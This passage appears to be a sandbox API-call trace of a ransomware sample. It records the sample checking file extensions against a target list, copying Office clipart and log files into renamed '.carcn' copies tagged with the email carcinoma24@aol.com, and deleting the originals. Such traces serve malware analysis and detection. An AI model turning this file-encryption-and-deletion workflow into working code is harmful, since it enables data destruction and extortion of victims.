(lpString1=".bz2", lpString2=".GIF") returned -1 [0184.462] lstrlenW (lpString=".7z") returned 3 [0184.462] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0184.462] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 68 [0184.462] lstrlenW (lpString=".dbf") returned 4 [0184.462] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0184.462] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 68 [0184.462] lstrlenW (lpString=".1cd") returned 4 [0184.462] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0184.462] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 68 [0184.462] lstrlenW (lpString=".jpg") returned 4 [0184.462] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0184.462] lstrcmpiW (lpString1=".GIF", lpString2=".carcn") returned 1 [0184.463] lstrlenW (lpString="AG00120_.GIF") returned 12 [0184.463] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00120_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0184.466] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x362ff14 | out: lpFileSize=0x362ff14*=3484) returned 1 [0184.466] CloseHandle (hObject=0x34c) returned 1 [0184.470] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00120_.gif")) returned 0x220 [0184.470] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00120_.gif.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0184.472] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00120_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0184.472] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0184.473] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0184.473] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00120_.gif.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0184.480] GetLastError () returned 0x0 [0184.480] ReadFile (in: hFile=0x380, lpBuffer=0x4019020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x362fecc, lpOverlapped=0x0 | out: lpBuffer=0x4019020*, lpNumberOfBytesRead=0x362fecc*=0xd9c, lpOverlapped=0x0) returned 1 [0184.494] WriteFile (in: hFile=0x374, lpBuffer=0x4019020*, nNumberOfBytesToWrite=0xda0, lpNumberOfBytesWritten=0x362fc94, lpOverlapped=0x0 | out: lpBuffer=0x4019020*, lpNumberOfBytesWritten=0x362fc94*=0xda0, lpOverlapped=0x0) returned 1 [0184.495] ReadFile (in: hFile=0x380, lpBuffer=0x4019020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x362fecc, lpOverlapped=0x0 | out: lpBuffer=0x4019020*, lpNumberOfBytesRead=0x362fecc*=0x0, lpOverlapped=0x0) returned 1 [0184.495] WriteFile (in: hFile=0x374, lpBuffer=0x4019020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x362fc94, lpOverlapped=0x0 | out: lpBuffer=0x4019020*, lpNumberOfBytesWritten=0x362fc94*=0xec, lpOverlapped=0x0) returned 1 [0184.495] SetEndOfFile (hFile=0x374) returned 1 [0184.496] CloseHandle (hObject=0x374) returned 1 [0184.496] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0184.496] SetEndOfFile (hFile=0x380) returned 1 [0184.497] CloseHandle (hObject=0x380) returned 1 [0184.497] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0184.498] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00120_.gif")) returned 1 [0184.498] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 68 [0184.498] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 68 [0184.498] lstrlenW (lpString=".doc") returned 4 [0184.498] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0184.498] lstrlenW (lpString=".docx") returned 5 [0184.498] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0184.498] lstrlenW (lpString=".pdf") returned 4 [0184.498] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0184.498] lstrlenW (lpString=".xls") returned 4 [0184.498] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0184.498] lstrlenW (lpString=".xlsx") returned 5 [0184.498] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0184.498] lstrlenW (lpString=".ppt") returned 4 [0184.499] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0184.499] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 68 [0184.499] lstrlenW (lpString=".zip") returned 4 [0184.499] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0184.499] lstrlenW (lpString=".rar") returned 4 [0184.499] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0184.499] lstrlenW (lpString=".bz2") returned 4 [0184.499] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0184.499] lstrlenW (lpString=".7z") returned 3 [0184.499] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0184.499] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 68 [0184.499] lstrlenW (lpString=".dbf") returned 4 [0184.499] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0184.499] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 68 [0184.499] lstrlenW (lpString=".1cd") returned 4 [0184.499] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0184.499] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 68 [0184.499] lstrlenW (lpString=".jpg") returned 4 [0184.499] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0184.499] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 68 [0184.499] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 68 [0184.499] lstrlenW (lpString=".doc") returned 4 [0184.499] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0184.500] lstrlenW (lpString=".docx") returned 5 [0184.500] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0184.500] lstrlenW (lpString=".pdf") returned 4 [0184.500] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0184.500] lstrlenW (lpString=".xls") returned 4 [0184.500] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0184.500] lstrlenW (lpString=".xlsx") returned 5 [0184.500] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0184.500] lstrlenW (lpString=".ppt") returned 4 [0184.500] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0184.500] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 68 [0184.500] lstrlenW (lpString=".zip") returned 4 [0184.500] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0184.500] lstrlenW (lpString=".rar") returned 4 [0184.500] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0184.500] lstrlenW (lpString=".bz2") returned 4 [0184.500] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0184.500] lstrlenW (lpString=".7z") returned 3 [0184.500] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0184.500] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 68 [0184.500] lstrlenW (lpString=".dbf") returned 4 [0184.500] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0184.500] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 68 [0184.500] lstrlenW (lpString=".1cd") returned 4 [0184.500] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0184.500] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 68 [0184.500] lstrlenW (lpString=".jpg") returned 4 [0184.500] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0184.501] lstrcmpiW (lpString1=".GIF", lpString2=".carcn") returned 1 [0184.501] lstrlenW (lpString="AG00130_.GIF") returned 12 [0184.501] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00130_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0184.508] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x362ff14 | out: lpFileSize=0x362ff14*=5253) returned 1 [0184.508] CloseHandle (hObject=0x360) returned 1 [0184.508] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00130_.gif")) returned 0x220 [0184.508] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00130_.gif.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0184.508] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00130_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0184.509] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0184.509] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0184.509] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00130_.gif.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0184.510] GetLastError () returned 0x0 [0184.510] ReadFile (in: hFile=0x360, lpBuffer=0x4019020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x362fecc, lpOverlapped=0x0 | out: lpBuffer=0x4019020*, lpNumberOfBytesRead=0x362fecc*=0x1485, lpOverlapped=0x0) returned 1 [0184.520] WriteFile (in: hFile=0x31c, lpBuffer=0x4019020*, nNumberOfBytesToWrite=0x1490, lpNumberOfBytesWritten=0x362fc94, lpOverlapped=0x0 | out: lpBuffer=0x4019020*, lpNumberOfBytesWritten=0x362fc94*=0x1490, lpOverlapped=0x0) returned 1 [0184.521] ReadFile (in: hFile=0x360, lpBuffer=0x4019020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x362fecc, lpOverlapped=0x0 | out: lpBuffer=0x4019020*, lpNumberOfBytesRead=0x362fecc*=0x0, lpOverlapped=0x0) returned 1 [0184.521] WriteFile (in: hFile=0x31c, lpBuffer=0x4019020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x362fc94, lpOverlapped=0x0 | out: lpBuffer=0x4019020*, lpNumberOfBytesWritten=0x362fc94*=0xec, lpOverlapped=0x0) returned 1 [0184.521] SetEndOfFile (hFile=0x31c) returned 1 [0184.521] CloseHandle (hObject=0x31c) returned 1 [0184.522] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0184.522] SetEndOfFile (hFile=0x360) returned 1 [0184.523] CloseHandle (hObject=0x360) returned 1 [0184.523] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0184.523] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00130_.gif")) returned 1 [0184.524] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 68 [0184.524] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 68 [0184.524] lstrlenW (lpString=".doc") returned 4 [0184.524] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0184.524] lstrlenW (lpString=".docx") returned 5 [0184.524] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0184.524] lstrlenW (lpString=".pdf") returned 4 [0184.524] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0184.524] lstrlenW (lpString=".xls") returned 4 [0184.524] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0184.524] lstrlenW (lpString=".xlsx") returned 5 [0184.524] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0184.524] lstrlenW (lpString=".ppt") returned 4 [0184.524] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0184.524] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 68 [0184.524] lstrlenW (lpString=".zip") returned 4 [0184.524] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0184.524] lstrlenW (lpString=".rar") returned 4 [0184.524] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0184.524] lstrlenW (lpString=".bz2") returned 4 [0184.524] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0184.524] lstrlenW (lpString=".7z") returned 3 [0184.524] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0184.524] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 68 [0184.524] lstrlenW (lpString=".dbf") returned 4 [0184.524] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0184.524] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 68 [0184.524] lstrlenW (lpString=".1cd") returned 4 [0184.524] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0184.524] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 68 [0184.524] lstrlenW (lpString=".jpg") returned 4 [0184.524] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0184.525] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0184.525] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0184.525] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00142_.gif.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0184.525] GetLastError () returned 0x0 [0184.525] ReadFile (in: hFile=0x360, lpBuffer=0x4019020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x362fecc, lpOverlapped=0x0 | out: lpBuffer=0x4019020*, lpNumberOfBytesRead=0x362fecc*=0x3bcc, lpOverlapped=0x0) returned 1 [0184.531] WriteFile (in: hFile=0x31c, lpBuffer=0x4019020*, nNumberOfBytesToWrite=0x3bd0, lpNumberOfBytesWritten=0x362fc94, lpOverlapped=0x0 | out: lpBuffer=0x4019020*, lpNumberOfBytesWritten=0x362fc94*=0x3bd0, lpOverlapped=0x0) returned 1 [0184.532] ReadFile (in: hFile=0x360, lpBuffer=0x4019020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x362fecc, lpOverlapped=0x0 | out: lpBuffer=0x4019020*, lpNumberOfBytesRead=0x362fecc*=0x0, lpOverlapped=0x0) returned 1 [0184.532] WriteFile (in: hFile=0x31c, lpBuffer=0x4019020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x362fc94, lpOverlapped=0x0 | out: lpBuffer=0x4019020*, lpNumberOfBytesWritten=0x362fc94*=0xec, lpOverlapped=0x0) returned 1 [0184.532] SetEndOfFile (hFile=0x31c) returned 1 [0184.533] CloseHandle (hObject=0x31c) returned 1 [0184.533] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0184.533] SetEndOfFile (hFile=0x360) returned 1 [0184.534] CloseHandle (hObject=0x360) returned 1 [0184.534] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0184.534] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00142_.gif")) returned 1 [0184.535] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 68 [0184.535] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 68 [0184.535] lstrlenW (lpString=".doc") returned 4 [0184.535] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0184.535] lstrlenW (lpString=".docx") returned 5 [0184.535] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0184.535] lstrlenW (lpString=".pdf") returned 4 [0184.535] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0184.535] lstrlenW (lpString=".xls") returned 4 [0184.535] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0184.535] lstrlenW (lpString=".xlsx") returned 5 [0184.535] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0184.535] lstrlenW (lpString=".ppt") returned 4 [0184.535] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0184.535] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 68 [0184.535] lstrlenW (lpString=".zip") returned 4 [0184.535] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0184.535] lstrlenW (lpString=".rar") returned 4 [0184.535] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0184.535] lstrlenW (lpString=".bz2") returned 4 [0184.535] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0184.535] lstrlenW (lpString=".7z") returned 3 [0184.535] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0184.535] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 68 [0184.535] lstrlenW (lpString=".dbf") returned 4 [0184.535] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0184.535] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 68 [0184.536] lstrlenW (lpString=".1cd") returned 4 [0184.536] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0184.536] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 68 [0184.536] lstrlenW (lpString=".jpg") returned 4 [0184.536] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0184.536] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0184.536] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0184.536] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00154_.gif.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0184.536] GetLastError () returned 0x0 [0184.536] ReadFile (in: hFile=0x360, lpBuffer=0x4019020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x362fecc, lpOverlapped=0x0 | out: lpBuffer=0x4019020*, lpNumberOfBytesRead=0x362fecc*=0x14c3, lpOverlapped=0x0) returned 1 [0184.546] WriteFile (in: hFile=0x31c, lpBuffer=0x4019020*, nNumberOfBytesToWrite=0x14d0, lpNumberOfBytesWritten=0x362fc94, lpOverlapped=0x0 | out: lpBuffer=0x4019020*, lpNumberOfBytesWritten=0x362fc94*=0x14d0, lpOverlapped=0x0) returned 1 [0184.547] ReadFile (in: hFile=0x360, lpBuffer=0x4019020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x362fecc, lpOverlapped=0x0 | out: lpBuffer=0x4019020*, lpNumberOfBytesRead=0x362fecc*=0x0, lpOverlapped=0x0) returned 1 [0184.547] WriteFile (in: hFile=0x31c, lpBuffer=0x4019020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x362fc94, lpOverlapped=0x0 | out: lpBuffer=0x4019020*, lpNumberOfBytesWritten=0x362fc94*=0xec, lpOverlapped=0x0) returned 1 [0184.547] SetEndOfFile (hFile=0x31c) returned 1 [0184.548] CloseHandle (hObject=0x31c) returned 1 [0184.548] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0184.548] SetEndOfFile (hFile=0x360) returned 1 [0184.549] CloseHandle (hObject=0x360) returned 1 [0184.549] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0184.549] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00154_.gif")) Thread: id = 19 os_tid = 0xd68 [0157.956] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10000) returned 0x3b81510 [0157.957] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10000) returned 0x3b91518 [0157.957] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10) returned 0x7ece10 [0157.957] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x6) returned 0x81d3a8 [0157.957] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10) returned 0x7ecf60 [0157.957] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x100000) returned 0x4122020 [0157.960] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10) returned 0x7ecf48 [0157.960] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7ecf48, Size=0x20) returned 0x7cec80 [0157.960] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10) returned 0x7ed008 [0157.960] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7ed008, Size=0x20) returned 0x7cea00 [0157.960] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75e90000 [0157.961] GetProcAddress (hModule=0x75e90000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75ea6b30 [0157.961] Wow64DisableWow64FsRedirection (in: OldValue=0x376ff50 | out: OldValue=0x376ff50*=0x0) returned 1 [0157.961] lstrlenW (lpString="kernel32.dll") returned 12 [0157.961] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x7cec80 | out: hHeap=0x790000) returned 1 [0157.961] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0157.961] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x7cea00 | out: hHeap=0x790000) returned 1 [0157.961] Sleep (dwMilliseconds=0x64) [0158.083] lstrcmpiW (lpString1=".log", lpString2=".carcn") returned 1 [0158.084] lstrlenW (lpString="oobe_2017_09_07_03_08_57_737.log") returned 32 [0158.084] CreateFileW (lpFileName="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log" (normalized: "c:\\$getcurrent\\logs\\oobe_2017_09_07_03_08_57_737.log"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0158.630] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x376ff14 | out: lpFileSize=0x376ff14*=6004) returned 1 [0158.630] CloseHandle (hObject=0x2fc) returned 1 [0158.630] GetFileAttributesW (lpFileName="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log" (normalized: "c:\\$getcurrent\\logs\\oobe_2017_09_07_03_08_57_737.log")) returned 0x20 [0158.630] GetFileAttributesW (lpFileName="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\$getcurrent\\logs\\oobe_2017_09_07_03_08_57_737.log.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0158.630] CreateFileW (lpFileName="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log" (normalized: "c:\\$getcurrent\\logs\\oobe_2017_09_07_03_08_57_737.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, 